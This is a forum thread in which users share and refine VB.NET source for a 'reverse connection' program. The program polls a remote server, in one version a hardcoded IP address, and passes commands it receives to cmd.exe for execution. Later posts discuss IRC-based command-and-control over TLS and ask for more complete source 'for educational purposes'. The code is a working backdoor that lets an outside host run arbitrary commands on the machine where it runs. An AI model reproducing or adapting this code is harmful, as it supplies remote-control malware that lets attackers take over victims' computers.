Reverse Connection Using Web Browser

Asphyxia

Owner
Administrator
Apr 25, 2015
1,844
2
2,197
327

Code:
Public Class Form1
    Dim whatCommand As String
    Dim doWhat As String


    Private Sub wbCommand_DocumentCompleted(sender As Object, e As WebBrowserDocumentCompletedEventArgs) Handles wbCommand.DocumentCompleted
        If whatCommand = wbCommand.DocumentText Then
            Exit Sub
        End If

        whatCommand = wbCommand.DocumentText

        If whatCommand.Contains("applaunch") Then
            doWhat = whatCommand.Split("||")(2)
            Shell("cmd.exe /k " + doWhat + "&& exit")
        End If

    End Sub

    Private Sub tmrRefresh_Tick(sender As Object, e As EventArgs) Handles tmrRefresh.Tick
        wbCommand.Navigate("http://108.61.157.109")
    End Sub
End Class
 

Crash129

Member
Dec 30, 2015
1
1
35
Why do you use a WebBrowser control?
It would be much more efficient to simply use a WebClient.

Code:
Imports System.Net

Public Class Form1
    Dim wc As New WebClient()
    Dim whatCommand As String

    Private Sub tmrRefresh_Tick(sender As Object, e As EventArgs) Handles tmrRefresh.Tick
        whatCommand = wc.DownloadString("http://***.***.***.***")
        If whatCommand.Contains("applaunch") Then
            Shell("cmd.exe /k " + whatCommand.Split("||")(2)+ "&& exit")
        End If
    End Sub
 
Last edited by a moderator:

Jackbox

Active Member
Jan 2, 2016
197
96
74
It would be much more efficient to simply use a WebClient.
Whether you use a WebBrowser control or a WebClient class, the project will be complete.

In the tutorial, there was going to be a command for the app going fullscreen and displaying website content. I decided not to do that right before recording but went with the same method regardless.

Whether you use a WebBrowser or WebClient, this depends on what you want to do. If you want the user to be able to browse/view the website, a WebBrowser makes sense. I agree I could have used a WebClient for this project but it really does not matter for the sake of this project, the project works all the same and is still educational.

I could have also used and SHOULD HAVE used HttpClient instead of WebClient or WebRequest but as I said for this project it really does not matter unless you are making a more complete application for serious use:
https://msdn.microsoft.com/en-us/library/system.net.httpwebrequest(v=vs.110).aspx
https://stackoverflow.com/a/27737601
https://stackoverflow.com/a/39290386
https://msdn.microsoft.com/en-us/library/system.net.http.httpclient(v=vs.118).aspx

Cool security note:
The .NET Framework 4.6 includes a new security feature that blocks insecure cipher and hashing algorithms for connections. Applications using TLS/SSL through APIs such as HttpClient, HttpWebRequest, FTPClient, SmtpClient, SslStream, etc. and targeting .NET Framework 4.6 get the more-secure behavior by default.
 

Asphyxia

Owner
Administrator
Apr 25, 2015
1,844
2
2,197
327
Looks good. Mine is working over IRC.
Most systems I have looked at operate over IRC, typically with some sort of tunneling e.g. using SSL/TLS (port 6697).

@mowe is yours developed in another language?
 

Asphyxia

Owner
Administrator
Apr 25, 2015
1,844
2
2,197
327
But the VB.NET version contains over 10k chars. not included IRC client and protection.
I know this was forever ago and I am not exactly trying to be a gravedigger but do you happen to be willing to open source pieces of that here? For educational purposes..
 
Top